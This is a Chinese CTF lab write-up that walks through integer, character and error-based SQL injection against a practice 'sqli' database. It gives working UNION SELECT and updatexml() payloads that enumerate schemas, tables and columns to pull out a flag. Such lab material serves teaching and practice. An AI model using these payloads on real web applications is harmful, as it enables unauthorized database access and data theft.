一、整型注入
1.从1开始输入数字判断字段数,输入3时报错,说明只有两个字段。
2.将1改为-1,输入-1 union select 1,2 ,观察到Data发生变化,因此显示位是Data。
3.接着查询数据库名,输入
-1 union select 1,group_concat(schema_name) from information_schema.schemata查出数据库名为sqli。
4.接着查询数据库表名,输入
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'查出数据库表名为flag。
5.在flag表中查询查询字段名,输入
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' && table_name='flag'查出字段flag。
6.查询字段值,输入
-1 union select 1,group_concat(flag) from flag得到flag。
二、字符型注入
1.从1'开始输入数字判断字段数,输入3时报错,说明只有两个字段。
2.输入-1’ union select 1,2#判断出显示位为Data。
3.查询数据库名,输入-1’ union select 1,database()#获得库名sqli。
4.查询数据库表名,输入
-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’#获得表名flag。
5.查询表的字段名,输入
-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’#获得表的字段名flag。
6.查询flag的字段值,输入-1’ union select 1,flag from sqli.flag#得到flag。
三、报错注入
1.判断字段数,输入3时报错,说明只有两个字段。
2.利用updatexml(),把中间路径改为想要获取的数据库名,输入-1 and updatexml(1,concat(1,database()),2)得到数据库名称为sqli。
3.查询表名,输入-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)得到flag表。
4.查询字段名,输入-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2)得到字段名flag。
5.查询字段值,输入-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2)得到flag。